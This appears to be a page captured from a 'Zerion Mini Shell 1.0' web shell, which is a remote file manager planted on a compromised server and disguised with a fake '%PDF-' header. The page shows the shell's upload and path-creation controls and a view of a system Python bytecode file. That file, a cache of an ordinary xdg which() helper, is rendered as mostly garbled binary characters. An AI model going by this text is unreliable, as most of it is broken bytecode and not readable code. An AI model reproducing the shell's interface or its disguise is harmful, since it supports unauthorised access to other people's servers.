%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/xdg/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/xdg/__pycache__/util.cpython-312.pyc

�

�u�c�
���ddlZejddk\Zerd�Znd�Z	ddlmZy#e$r$ddlZejejzdfd�ZYywxYw)�N�c��|S�N���ss �*/usr/lib/python3/dist-packages/xdg/util.py�ur
s����c�$�|jd�S)Nzutf-8)�decoders r	r
r

s���x�x�� � r)�whichc�b��d�}tjj��r|�|�r�Sy|xs.tjj	dtj
�j
tj�}tjdk(r�tj|vr |jdtj�tjj	dd�j
tj�}t�fd�|D��r�g}n|D�cgc]}�|z��	}}n�g}t�}|D]m}tjj|�}	|	|vs�'|j|	�|D]1}
tjj!||
�}|||�s�-|ccS�oycc}w)	aKGiven a command, mode, and a PATH string, return the path which
        conforms to the given mode on the PATH, or None if there is no such
        file.

        `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
        of os.environ.get("PATH"), or can be overridden with a custom search
        path.

        c��tjj|�xr8tj||�xr tjj	|�Sr)�os�path�exists�access�isdir)�fn�modes  r	�
_access_checkzwhich.<locals>._access_check sA���G�G�N�N�2�&�.�2�9�9�R��+>�.��G�G�M�M�"�-�-�
/rN�PATH�win32r�PATHEXT�c3�x�K�|]1}�j�j|j�����3y�wr)�lower�endswith)�.0�ext�cmds  �r	�	<genexpr>zwhich.<locals>.<genexpr>9s(�����H��3�9�9�;�'�'��	�	��4�H�s�7:)rr�dirname�environ�get�defpath�split�pathsep�sys�platform�curdir�insert�any�set�normcase�add�join)r"rrr�pathext�filesr!�seen�dir�normdir�thefile�names`           r	rrsW���	/��7�7�?�?�3���S�$�'��
���:��
�
���v�r�z�z�:�A�A�"�*�*�M���<�<�7�"��9�9��$����A�r�y�y�)��j�j�n�n�Y��3�9�9�"�*�*�E�G�
�H��H�H����.5�6�s��s��6��6��E�E��u���	$�C��g�g�&�&�s�+�G��d�?�����!�$�$�G��7�7�<�<��W�5�D�$�T�4�0�#��$�		$���7s�F,)
r*�version_info�PY3r
�shutilr�ImportErrorr�F_OK�X_OKrrr	�<module>r@s[��
�	���q��Q�����!�>����;�
����"�'�'�)��8�;�s�(�&A�A

Zerion Mini Shell 1.0